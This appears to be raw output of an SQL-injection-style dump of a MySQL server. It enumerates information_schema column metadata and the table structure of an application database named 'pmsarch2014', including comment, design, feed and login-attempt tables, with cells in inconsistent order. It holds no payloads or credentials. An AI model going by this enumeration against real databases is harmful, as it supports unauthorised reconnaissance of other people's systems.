eucjpms_bin | eucjpms | | gb18030_chinese_ci | gb18030 | | gb18030_bin | gb18030 | | gb18030_unicode_520_ci | gb18030 | +--------------------------+--------------------+ Database: information_schema Table: COLUMNS [776 entries] +----------------+-----------+------------+----------------------------+---------------+---------------------------------+----------------------------+--------------+--------------+---------------+---------------------------------------+---------------------+-----------------------------------+----------------+---------------------------------+---------------------------------+-------------------------------+--------------------+--------------------------+------------------------+--------------------------+ | EXTRA | DATA_TYPE | TABLE_NAME | COLUMN_KEY | COLUMN_TYPE | IS_NULLABLE | COLUMN_NAME | TABLE_SCHEMA | PRIVILEGES | TABLE_CATALOG | NUMERIC_SCALE | COLUMN_COMMENT | COLLATION_NAME | COLUMN_DEFAULT | ORDINAL_POSITION | NUMERIC_PRECISION | CHARACTER_SET_NAME | DATETIME_PRECISION | GENERATION_EXPRESSION | CHARACTER_OCTET_LENGTH | CHARACTER_MAXIMUM_LENGTH | +----------------+-----------+------------+----------------------------+---------------+---------------------------------+----------------------------+--------------+--------------+---------------+---------------------------------------+---------------------+-----------------------------------+----------------+---------------------------------+---------------------------------+-------------------------------+--------------------+--------------------------+------------------------+--------------------------+ | YES | | | ROW_FORMAT | varchar | def | varchar(22) | | | | information_schema | | utf8_general_ci | | select | INNODB_SYS_TABLESPACES | utf8 | | 5 | 66 | 22 | | 6 | 10 | | | NO | INNODB_SYS_TABLESPACES | | | | | select | int(11) unsigned | PAGE_SIZE | int | | information_schema | | 0 | def | 0 | | | 7 | 10 | | | NO | INNODB_SYS_TABLESPACES | | | | | select | int(11) unsigned | ZIP_PAGE_SIZE | int | | information_schema | | 0 | def | 0 | | | YES | | | SPACE_TYPE | varchar | def | varchar(10) | | | | information_schema | | utf8_general_ci | | select | INNODB_SYS_TABLESPACES | utf8 | | 8 | 30 | 10 | | 9 | 10 | | | NO | INNODB_SYS_TABLESPACES | | | | | select | int(11) unsigned | FS_BLOCK_SIZE | int | | information_schema | | 0 | def | 0 | | | 10 | 20 | | | NO | INNODB_SYS_TABLESPACES | | | | | select | bigint(21) unsigned | FILE_SIZE | bigint | | information_schema | | 0 | def | 0 | | | 11 | 20 | | | NO | INNODB_SYS_TABLESPACES | | | | | select | bigint(21) unsigned | ALLOCATED_SIZE | bigint | | information_schema | | 0 | def | 0 | | | | varchar | | | varchar(193) | 1 | NAME | | | select | INNODB_METRICS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 2 | SUBSYSTEM | | | select | INNODB_METRICS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | 3 | 19 | | | NO | INNODB_METRICS | | | | | select | bigint(21) | COUNT | bigint | | information_schema | | 0 | def | 0 | | | def | 0 | | | 19 | information_schema | YES | | | | | bigint | bigint(21) | | | select | MAX_COUNT | 4 | INNODB_METRICS | | | | def | 0 | | | 19 | information_schema | YES | | | | | bigint | bigint(21) | | | select | MIN_COUNT | 5 | INNODB_METRICS | | | | INNODB_METRICS | 6 | | | 12 | select | YES | | | | | double | double | | | | AVG_COUNT | def | information_schema | | | | 7 | 19 | | | NO | INNODB_METRICS | | | | | select | bigint(21) | COUNT_RESET | bigint | | information_schema | | 0 | def | 0 | | | def | 0 | | | 19 | information_schema | YES | | | | | bigint | bigint(21) | | | select | MAX_COUNT_RESET | 8 | INNODB_METRICS | | | | def | 0 | | | 19 | information_schema | YES | | | | | bigint | bigint(21) | | | select | MIN_COUNT_RESET | 9 | INNODB_METRICS | | | | INNODB_METRICS | 10 | | | 12 | select | YES | | | | | double | double | | | | AVG_COUNT_RESET | def | information_schema | | | | INNODB_METRICS | 11 | | | YES | select | | | | | | datetime | datetime | 0 | | | TIME_ENABLED | def | information_schema | | | | INNODB_METRICS | 12 | | | YES | select | | | | | | datetime | datetime | 0 | | | TIME_DISABLED | def | information_schema | | | | def | 0 | | | 19 | information_schema | YES | | | | | bigint | bigint(21) | | | select | TIME_ELAPSED | 13 | INNODB_METRICS | | | | INNODB_METRICS | 14 | | | YES | select | | | | | | datetime | datetime | 0 | | | TIME_RESET | def | information_schema | | | | | varchar | | | varchar(193) | 15 | STATUS | | | select | INNODB_METRICS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 16 | TYPE | | | select | INNODB_METRICS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 17 | COMMENT | | | select | INNODB_METRICS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 1 | ID | | | select | INNODB_SYS_FOREIGN_COLS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 2 | FOR_COL_NAME | | | select | INNODB_SYS_FOREIGN_COLS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 3 | REF_COL_NAME | | | select | INNODB_SYS_FOREIGN_COLS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | 4 | 10 | | | NO | INNODB_SYS_FOREIGN_COLS | | | | | select | int(11) unsigned | POS | int | | information_schema | | 0 | def | 0 | | | 1 | 10 | | | NO | INNODB_CMPMEM | | | | | select | int(5) | page_size | int | | information_schema | | 0 | def | 0 | | | 2 | 10 | | | NO | INNODB_CMPMEM | | | | | select | int(11) | buffer_pool_instance | int | | information_schema | | 0 | def | 0 | | | 3 | 10 | | | NO | INNODB_CMPMEM | | | | | select | int(11) | pages_used | int | | information_schema | | 0 | def | 0 | | | 4 | 10 | | | NO | INNODB_CMPMEM | | | | | select | int(11) | pages_free | int | | information_schema | | 0 | def | 0 | | | 5 | 19 | | | NO | INNODB_CMPMEM | | | | | select | bigint(21) | relocation_ops | bigint | | information_schema | | 0 | def | 0 | | | 6 | 10 | | | NO | INNODB_CMPMEM | | | | | select | int(11) | relocation_time | int | | information_schema | | 0 | def | 0 | | | 1 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | POOL_ID | bigint | | information_schema | | 0 | def | 0 | | | 2 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | POOL_SIZE | bigint | | information_schema | | 0 | def | 0 | | | 3 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | FREE_BUFFERS | bigint | | information_schema | | 0 | def | 0 | | | 4 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | DATABASE_PAGES | bigint | | information_schema | | 0 | def | 0 | | | 5 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | OLD_DATABASE_PAGES | bigint | | information_schema | | 0 | def | 0 | | | 6 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | MODIFIED_DATABASE_PAGES | bigint | | information_schema | | 0 | def | 0 | | | 7 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PENDING_DECOMPRESS | bigint | | information_schema | | 0 | def | 0 | | | 8 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PENDING_READS | bigint | | information_schema | | 0 | def | 0 | | | 9 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PENDING_FLUSH_LRU | bigint | | information_schema | | 0 | def | 0 | | | 10 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PENDING_FLUSH_LIST | bigint | | information_schema | | 0 | def | 0 | | | 11 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PAGES_MADE_YOUNG | bigint | | information_schema | | 0 | def | 0 | | | 12 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | PAGES_NOT_MADE_YOUNG | bigint | | information_schema | | 0 | def | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | PAGES_MADE_YOUNG_RATE | double | | select | | 13 | INNODB_BUFFER_POOL_STATS | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | PAGES_MADE_NOT_YOUNG_RATE | double | | select | | 14 | INNODB_BUFFER_POOL_STATS | 0 | | | 15 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_PAGES_READ | bigint | | information_schema | | 0 | def | 0 | | | 16 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_PAGES_CREATED | bigint | | information_schema | | 0 | def | 0 | | | 17 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_PAGES_WRITTEN | bigint | | information_schema | | 0 | def | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | PAGES_READ_RATE | double | | select | | 18 | INNODB_BUFFER_POOL_STATS | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | PAGES_CREATE_RATE | double | | select | | 19 | INNODB_BUFFER_POOL_STATS | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | PAGES_WRITTEN_RATE | double | | select | | 20 | INNODB_BUFFER_POOL_STATS | 0 | | | 21 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_PAGES_GET | bigint | | information_schema | | 0 | def | 0 | | | 22 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | HIT_RATE | bigint | | information_schema | | 0 | def | 0 | | | 23 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | YOUNG_MAKE_PER_THOUSAND_GETS | bigint | | information_schema | | 0 | def | 0 | | | 24 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | bigint | | information_schema | | 0 | def | 0 | | | 25 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_PAGES_READ_AHEAD | bigint | | information_schema | | 0 | def | 0 | | | 26 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | NUMBER_READ_AHEAD_EVICTED | bigint | | information_schema | | 0 | def | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | READ_AHEAD_RATE | double | | select | | 27 | INNODB_BUFFER_POOL_STATS | 0 | | | def | 12 | | | NO | information_schema | | | | | | double | READ_AHEAD_EVICTED_RATE | double | | select | | 28 | INNODB_BUFFER_POOL_STATS | 0 | | | 29 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | LRU_IO_TOTAL | bigint | | information_schema | | 0 | def | 0 | | | 30 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | LRU_IO_CURRENT | bigint | | information_schema | | 0 | def | 0 | | | 31 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | UNCOMPRESS_TOTAL | bigint | | information_schema | | 0 | def | 0 | | | 32 | 20 | | | NO | INNODB_BUFFER_POOL_STATS | | | | | select | bigint(21) unsigned | UNCOMPRESS_CURRENT | bigint | | information_schema | | 0 | def | 0 | | | 1 | 20 | | | NO | INNODB_SYS_COLUMNS | | | | | select | bigint(21) unsigned | TABLE_ID | bigint | | information_schema | | 0 | def | 0 | | | | varchar | | | varchar(193) | 2 | NAME | | | select | INNODB_SYS_COLUMNS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | 3 | 20 | | | NO | INNODB_SYS_COLUMNS | | | | | select | bigint(21) unsigned | POS | bigint | | information_schema | | 0 | def | 0 | | | 4 | 10 | | | NO | INNODB_SYS_COLUMNS | | | | | select | int(11) | MTYPE | int | | information_schema | | 0 | def | 0 | | | 5 | 10 | | | NO | INNODB_SYS_COLUMNS | | | | | select | int(11) | PRTYPE | int | | information_schema | | 0 | def | 0 | | | 6 | 10 | | | NO | INNODB_SYS_COLUMNS | | | | | select | int(11) | LEN | int | | information_schema | | 0 | def | 0 | | | | varchar | | | varchar(193) | 1 | ID | | | select | INNODB_SYS_FOREIGN | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 2 | FOR_NAME | | | select | INNODB_SYS_FOREIGN | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 3 | REF_NAME | | | select | INNODB_SYS_FOREIGN | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | 4 | 10 | | | NO | INNODB_SYS_FOREIGN | | | | | select | int(11) unsigned | N_COLS | int | | information_schema | | 0 | def | 0 | | | 5 | 10 | | | NO | INNODB_SYS_FOREIGN | | | | | select | int(11) unsigned | TYPE | int | | information_schema | | 0 | def | 0 | | | 1 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | TABLE_ID | bigint | | information_schema | | 0 | def | 0 | | | | varchar | | | varchar(193) | 2 | NAME | | | select | INNODB_SYS_TABLESTATS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | | varchar | | | varchar(193) | 3 | STATS_INITIALIZED | | | select | INNODB_SYS_TABLESTATS | | utf8_general_ci | | information_schema | def | utf8 | | NO | 579 | 193 | | 4 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | NUM_ROWS | bigint | | information_schema | | 0 | def | 0 | | | 5 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | CLUST_INDEX_SIZE | bigint | | information_schema | | 0 | def | 0 | | | 6 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | OTHER_INDEX_SIZE | bigint | | information_schema | | 0 | def | 0 | | | 7 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | MODIFIED_COUNTER | bigint | | information_schema | | 0 | def | 0 | | | 8 | 20 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | bigint(21) unsigned | AUTOINC | bigint | | information_schema | | 0 | def | 0 | | | 9 | 10 | | | NO | INNODB_SYS_TABLESTATS | | | | | select | int(11) | REF_COUNT | int | | information_schema | | 0 | def | 0 | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | comments | PRI | | | 2 | 10 | | | NO | comments | | | | | select,insert,update,references | int(11) | parentId | int | | pmsarch2014 | | 0 | def | 0 | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | postId | 3 | comments | MUL | | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | comments | latin1 | | 4 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | date | 5 | comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | uid | 6 | comments | | | | NO | | | name | varchar | def | varchar(55) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | comments | latin1 | | 7 | 55 | 55 | | NO | | | email | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | comments | latin1 | | 8 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(25) | | | select,insert,update,references | type | 9 | comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | isAnon | 10 | comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | rating | 11 | comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | archived | 12 | comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design2_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design2_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design2-id | 3 | design2_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design2_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design2_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design3_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design3_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design3-id | 3 | design3_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design3_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design3_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design4_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design4_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design4-id | 3 | design4_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design4_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design4_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design5_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design5_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design5-id | 3 | design5_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design5_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design5_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design6_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design6_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design6-id | 3 | design6_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design6_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design6_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design7_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design7_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design7-id | 3 | design7_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design7_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design7_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design8_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design8_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design8-id | 3 | design8_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design8_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design8_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design9_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design9_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design9-id | 3 | design9_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design9_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design9_images | utf8 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | design_images | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design_images | utf8 | | 2 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | design-id | 3 | design_images | | | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | design_images | utf8 | | 4 | 765 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | design_images | latin1 | | 5 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs2 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs2 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs2 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs2 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs3 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs3 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs3 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs3 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs4 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs4 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs4 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs4 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs5 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs5 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs5 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs5 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs6 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs6 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs6 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs6 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs7 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs7 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs7 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs7 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs8 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs8 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs8 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs8 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | designs9 | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs9 | utf8 | | 2 | 765 | 255 | | NO | | | description | longtext | def | longtext | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs9 | utf8 | | 3 | 4294967295 | 4294967295 | | NO | | | image | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | designs9 | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | feed | PRI | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feed | latin1 | | 2 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | settings | 3 | feed | | | | NO | | | defTitle | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feed | latin1 | | 4 | 255 | 255 | | NO | | | defContent | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feed | latin1 | | 5 | 4294967295 | 4294967295 | | NO | | | titlenoun | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feed | latin1 | | 6 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | feedsettings | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | feedId | 2 | feedsettings | | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feedsettings | latin1 | | 3 | 255 | 255 | | NO | | | value | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feedsettings | latin1 | | 4 | 255 | 255 | | NO | | | default | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | feedsettings | latin1 | | 5 | 255 | 255 | | NO | | | IP | varchar | def | varchar(20) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | loginattempts | utf8 | | 1 | 60 | 20 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | Attempts | 2 | loginattempts | | | | loginattempts | 3 | | | NO | select,insert,update,references | | | | | | datetime | datetime | 0 | | | LastLogin | def | pmsarch2014 | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | 